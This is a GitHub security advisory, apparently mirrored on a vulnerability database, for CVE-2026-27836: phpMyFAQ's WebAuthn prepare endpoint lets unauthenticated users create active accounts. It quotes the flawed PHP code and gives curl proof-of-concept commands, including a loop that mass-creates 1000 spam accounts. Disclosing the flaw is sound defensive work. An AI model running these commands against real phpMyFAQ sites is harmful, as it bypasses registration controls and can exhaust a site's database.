GHSA-W22Q-M2FM-X9F4
Vulnerability from github – Published: 2026-02-27 21:01 – Updated: 2026-02-27 22:20Summary
The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);
The endpoint:
1. Accepts any POST request with a JSON username field
2. If the username doesn't exist, creates a new active user account
3. Does NOT check if WebAuthn support is enabled (security.enableWebAuthnSupport)
4. Does NOT check if registration is enabled (security.enableRegistration)
5. Does NOT verify CSRF tokens
6. Does NOT require captcha validation
7. Has no rate limiting
PoC
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
done
Impact
- Registration bypass: Accounts created even when self-registration is disabled
- Username squatting: Reserve usernames before legitimate users
- Database exhaustion: Create millions of fake active accounts (DoS)
- User enumeration: Different responses for existing vs new usernames
- Security control bypass: WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27836"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-27T21:01:58Z",
"nvd_published_at": "2026-02-27T20:21:40Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe WebAuthn prepare endpoint (`/api/webauthn/prepare`) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php`, lines 63-79\n\n```php\n#[Route(path: \u0027webauthn/prepare\u0027, name: \u0027api.private.webauthn.prepare\u0027, methods: [\u0027POST\u0027])]\npublic function prepare(Request $request): JsonResponse\n{\n $data = json_decode($request-\u003egetContent(), ...);\n $username = Filter::filterVar($data-\u003eusername, FILTER_SANITIZE_SPECIAL_CHARS);\n\n if (!$this-\u003euser-\u003egetUserByLogin($username, raiseError: false)) {\n try {\n $this-\u003euser-\u003ecreateUser($username);\n $this-\u003euser-\u003esetStatus(status: \u0027active\u0027);\n $this-\u003euser-\u003esetAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN-\u003evalue);\n $this-\u003euser-\u003esetUserData([\n \u0027display_name\u0027 =\u003e $username,\n \u0027email\u0027 =\u003e $username,\n ]);\n```\n\nThe endpoint:\n1. Accepts any POST request with a JSON `username` field\n2. If the username doesn\u0027t exist, creates a new **active** user account\n3. Does NOT check if WebAuthn support is enabled (`security.enableWebAuthnSupport`)\n4. Does NOT check if registration is enabled (`security.enableRegistration`)\n5. Does NOT verify CSRF tokens\n6. Does NOT require captcha validation\n7. Has no rate limiting\n\n### PoC\n\n```bash\n# Create an account - no auth needed\ncurl -X POST https://TARGET/api/webauthn/prepare \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"attacker_account\"}\u0027\n\n# Mass account creation\nfor i in $(seq 1 1000); do\n curl -s -X POST https://TARGET/api/webauthn/prepare \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"username\\\":\\\"spam_user_$i\"}\" \u0026\ndone\n```\n\n### Impact\n\n- **Registration bypass:** Accounts created even when self-registration is disabled\n- **Username squatting:** Reserve usernames before legitimate users\n- **Database exhaustion:** Create millions of fake active accounts (DoS)\n- **User enumeration:** Different responses for existing vs new usernames\n- **Security control bypass:** WebAuthn config check is bypassed entirely\n\nAll phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.",
"id": "GHSA-w22q-m2fm-x9f4",
"modified": "2026-02-27T22:20:47Z",
"published": "2026-02-27T21:01:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-w22q-m2fm-x9f4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27836"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/commit/f2ab673f0668753cd0f7c7c8bc7fd2304dcf5cb1"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.